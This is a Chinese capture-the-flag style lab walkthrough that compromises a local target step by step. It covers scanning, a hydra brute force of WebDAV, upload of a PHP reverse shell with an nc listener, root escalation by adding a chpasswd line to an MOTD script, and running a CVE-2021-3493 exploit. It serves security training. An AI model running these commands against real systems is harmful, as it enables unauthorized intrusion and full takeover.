当前位置:网站首页>网络安全之渗透靶场实战详解
网络安全之渗透靶场实战详解
2022-04-23 16:45:00 【InfoQ】
0x00 环境配置



0x01 主机发现/端口扫描
arp-scan -l

nmap -sV -sC -p- 192.168.26.131

0x02 信息收集
dirsearch --url http://192.168.26.131



0x03 密码字典定制
cewl http://192.168.26.131 -w 192.168.26.131dict.txt

0x04 hydra密码爆破
hydra -L 192.168.26.131dict.txt -P 192.168.26.131dict.txt 192.168.26.131 http-get /webdav -v

成功的爆破出了账号和密码,果然还是生成的专属字典比较好用。由于我们获取了webdav服务的相关认证信息,所以接下来我直接开始使用kali自带的webdav测试工具davtest进行测试,看能否传文件上去,如果可以的话,我们可以直接将webshell传到服务器上,以便getshell突破边界。
0x05 webdav漏洞
davtest -url http://192.168.26.131/webdav -auth yamdoot:Swarg

通过上图我们可以知道,我们可以通过获取到的信息凭证建立一个DAV连接,并且可以在靶机上创建目录和上传文件,而上传到上面的文件只有txt,php,html三种格式的文件可以被执行,那么到这里我们getshell的思路就有了, 直接传一个反弹shell的php文件,然后kali监听本地端口,然后访问这个文件,触发执行即可getshell。
cp /usr/share/webshells/php/php-reverse-shell.php . #将kali自带反弹shell文件拷贝到当前目录
vim php-reverse-shell.php #编辑这个文件,将ip改为kali的ip 端口改为kali的端口
davtest -url http://192.168.26.131/webdav -auth yamdoot:Swarg -uploadfile php-reverse-shell.php -uploadloc rev.php

通过上图可以看到,我们已经成功将反弹shell的文件上传到了靶机上,接下来kali监听本地端口,然后访问这个文件,触发执行即可getshell。
nc -lnvp 4444 #kali监听4444端口
http://192.168.26.131/webdav/rev.php #访问该链接触发执行反弹shell的代码

python3 -c "import pty;pty.spawn('/bin/bash')" #升级优化一下shell
0x06 MOTD注入提权
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
#命令解释:
从根目录下开始查找 文件类型 属主是root 普通用户或组可执行 其他用户可写 如果发现了符合条件的用 ls -l命令显示 错误信息从定向到null



chitragupt



ssh [email protected]
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null


vi /etc/update-motd.d/00-header #编辑这个文件
echo 'root:123' | chpasswd #在文件末尾添加这一行,这行的意思就是,使用chpasswd命令将root用户的密码修改为123



0x07 CVE-2021-3493提权:


scp exploit.c [email protected]:/home/inferno #将exp上传到靶机

gcc exploit.c -o exploit #尝试编译exploit.c 并将编译好的文件命名为exploit


chmod +x exploit #给exploit赋予执行权限
./exploit #执行exp


版权声明
本文为[InfoQ]所创,转载请带上原文链接,感谢
https://xie.infoq.cn/article/30ebf9633fca128a01ec2c0ec
边栏推荐
- File system read and write performance test practice
- Summary according to classification in sail software
- Install MySQL on MAC
- Idea of batch manufacturing test data, with source code
- G008-hwy-cc-estor-04 Huawei Dorado V6 storage simulator configuration
- 【PIMF】OpenHarmony啃论文俱乐部—在ACM Survey闲逛是什么体验
- Encapsulating the logging module
- Change the icon size of PLSQL toolbar
- 正则过滤内网地址和网段
- Mock test using postman
猜你喜欢

Pytorch: the pit between train mode and eval mode

Derivation of Σ GL perspective projection matrix

Construction of promtail + Loki + grafana log monitoring system

Take according to the actual situation, classify and summarize once every three levels, and see the figure to know the demand

LVM and disk quota

Cartoon: what are IAAs, PAAS, SaaS?

loggie 源码分析 source file 模块主干分析

安装及管理程序

Use case labeling mechanism of robot framework

Set the color change of interlaced lines in cells in the sail software and the font becomes larger and red when the number is greater than 100
随机推荐
Differences between MySQL BTREE index and hash index
Log4j output log information to file
【PIMF】OpenHarmony啃论文俱乐部—在ACM Survey闲逛是什么体验
文件系统读写性能测试实战
磁盘管理与文件系统
阿里研发三面,面试官一套组合拳让我当场懵逼
Disk management and file system
Nacos 详解,有点东西
STM32__03—初识定时器
MySQL personal learning summary
计组 | 【七 输入/输出系统】知识点与例题
English | day15, 16 x sentence true research daily sentence (clause disconnection, modification)
◰GL-着色器处理程序封装
详解牛客----手套
计算饼状图百分比
Report FCRA test question set and answers (11 wrong questions)
VMware Workstation cannot connect to the virtual machine. The system cannot find the specified file
LVM与磁盘配额
Regular filtering of Intranet addresses and segments
05 Lua control structure